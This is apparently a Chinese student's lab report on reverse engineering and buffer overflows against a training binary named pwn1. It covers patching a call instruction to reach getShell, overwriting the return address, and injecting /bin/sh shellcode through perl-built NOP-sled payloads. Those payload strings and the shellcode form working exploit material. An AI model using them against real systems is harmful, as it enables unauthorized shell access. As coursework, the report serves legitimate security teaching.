1. 程式人生 > >《網絡攻防》 Exp1 PC平臺逆向破解(5)M

《網絡攻防》 Exp1 PC平臺逆向破解(5)M

使用 -s 技術 原來 markdown 調用 void 代碼片段 攻擊

《網絡攻防》 Exp1 PC平臺逆向破解(5)M

逆向及Bof基礎實踐說明

1.1 實踐目標

  1. 本次實踐的對象是一個名為pwn1的linux可執行文件。
  2. 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
  3. 該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然後學習如何註入運行任何Shellcode。
  • 三個實踐內容
  1. 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
  2. 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
  3. 註入一個自己制作的shellcode並運行這段shellcode。
  • 思路
  1. 運行原本不可訪問的代碼片段
  2. 強行修改程序執行流
  3. 以及註入運行任意代碼。

1.2 基礎知識

  • Linux基本操作
    參考網頁

https://www.cnblogs.com/crazylqy/p/5818745.html

http://blog.csdn.net/zl_best/article/details/53504712

  • Bof的原理

緩沖區溢出是一種非常普遍、非常危險的漏洞,在各種操作系統、應用軟件中廣泛存在。利用緩沖區溢出攻擊,可以導致程序運行失敗、系統宕機、重新啟動等後果。更為嚴重的是,可以利用它執行非授權指令,甚至可以取得系統特權,進而進行各種非法操作。

攻擊原理:

通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,造成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程序:

void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}

上面的strcpy()將直接把str中的內容copy到buffer中。這樣只要str的長度大於16,就會造成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的標準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf()等。

當然,隨便往緩沖區中填東西造成它溢出一般只會出現“分段錯誤”(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過制造緩沖區溢出使程序運行一個用戶shell,再通過shell執行其它命令。如果該程序有root或者suid執行權限的話,攻擊者就獲得了一個有root權限的shell,可以對系統進行任意操作了。

  • 會使用gdb,vi

參考網頁

http://blog.csdn.net/luoying198791/article/details/20715499

實踐一:直接修改程序機器指令,改變程序執行流程

  • 知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反匯編指令objdump,十六進制編輯工具
  • 學習目標:理解可執行文件與機器指令
  • 進階:掌握ELF文件格式,掌握動態技術

實驗過程:

  1. 首先進行文件的拷貝,防止出現操作錯誤,使得源文件被改變。

技術分享圖片

  1. 通過objdump -d pwn1_20155308命令對文件進行反匯編。

技術分享圖片

  1. 關註這幾個部分

技術分享圖片

技術分享圖片

  1. 通過命令vi pwn1_20155308編輯文件,通過命令:%! xxd把文件轉為十六進制編輯模式

技術分享圖片

  1. 通過命令/d7ff查找要修改的內容

技術分享圖片

main函數調用foo,對應機器指令為“ e8 d7ffffff”,
那我們想讓它調用getShell,只要修改“d7ffffff”為,"getShell-80484ba"對應的補碼就行。
用Windows計算器,直接 47d-4ba就能得到補碼,是c3ffffff。

  1. 輸入i進入編輯模式,即把d7為c3
  2. 輸入命令:%! xxd -r將文件轉回至二進制形式
  3. 輸入:wq保存並退出
  4. 通過objdump -d pwn1_20155308命令對文件進行反匯編,觀察到程序已從原來跳轉至foo函數變為跳轉至getshell函數

技術分享圖片

實驗結果:

技術分享圖片

實踐二;通過構造輸入參數,造成BOF攻擊,改變程序執行流

  • 知識要求:堆棧結構,返回地址 學習目標:理解攻擊緩沖區的結果,掌握返回地址的獲取 進階:掌握ELF文件格式,掌握動態技術

反匯編,了解程序的基本功能

objdump -d pwn1 | more

技術分享圖片

註意這個函數getShell,我們的目標是觸發這個函數
技術分享圖片

該可執行文件正常運行是調用如下函數foo,這個函數有Buffer overflow漏洞

技術分享圖片

這裏讀入字符串,但系統只預留了__字節的緩沖區,超出部分會造成溢出,我們的目標是覆蓋返回地址

上面的call調用foo,同時在堆棧上壓上返回地址值:++80484ba++

現在我們需要確認輸入的字符串哪幾個字符會覆蓋到返回地址

輸入命令gdb pwn2_20155308進行調試

技術分享圖片

通過命令r進行運行,通過命令info r可查看各寄存器的值

技術分享圖片
技術分享圖片

技術分享圖片
技術分享圖片

如果輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那只要把這四個字符替換為 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。

確認用什麽值來覆蓋返回地址

getShell的內存地址,通過反匯編時可以看到,即0804847d。

接下來要確認下字節序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,還是輸入11111111222222223333333344444444\x7d\x84\x04\x08。

技術分享圖片

對比之前 ==eip 0x34333231 0x34333231== ,正確應用輸入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。

構造輸入字符串

由為我們沒法通過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,所以先生成包括這樣字符串的一個文件。\x0a表示回車,如果沒有的話,在程序運行時就需要手工按一下回車鍵。

技術分享圖片

實踐三:註入Shellcode並執行

  • shellcode就是一段機器指令(code)
    通常這段機器指令的目的是為獲取一個交互式的shell(像linux的shell或類似windows下的cmd.exe),
    所以這段機器指令被稱為shellcode。
    在實際的應用中,凡是用來註入的機器指令段都通稱為shellcode,像添加一個用戶、運行一條指令。
    --

最基本的shellcode的編寫可參考許同學的文章Shellcode入門,寫得非常之清楚詳實。以下實踐即使用該文章中生成的shellcode。如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

準備工作

?輸入命令execstack -s pwn1
設置堆棧可執行。但是系統提示“未找到命令”,則應輸入命令apt-get install execstack進行安裝。系統會提示產生一下錯誤,我上網尋找了答案,應該輸入以下命令給它管理員權限。

技術分享圖片
之後根據命令輸入。

技術分享圖片

構造要註入的payload

  • Linux下有兩種基本構造攻擊buf的方法:
  1. retaddr+nop+shellcode
  2. nop+shellcode+retaddr。

-因為retaddr在緩沖區的位置是固定的,shellcode要不在它前面,要不在它後面。

簡單說緩沖區小就把shellcode放後邊,緩沖區大就把shellcode放前邊

-我們這個buf夠放這個shellcode了。
結構為:nops+shellcode+retaddr。
nop一為是了填充,二是作為“著陸區/滑行區”。
我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。

root@KaliYL:~# perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode

接下來我們來確定\x4\x3\x2\x1到底該填什麽。

打開一個終端註入這段攻擊buf:

perl -e ‘print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"‘ > input_shellcode

https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_%E9%80%86%E5%90%91%E4%B8%8EBof%E5%9F%BA%E7%A1%80.md

《網絡攻防》 Exp1 PC平臺逆向破解(5)M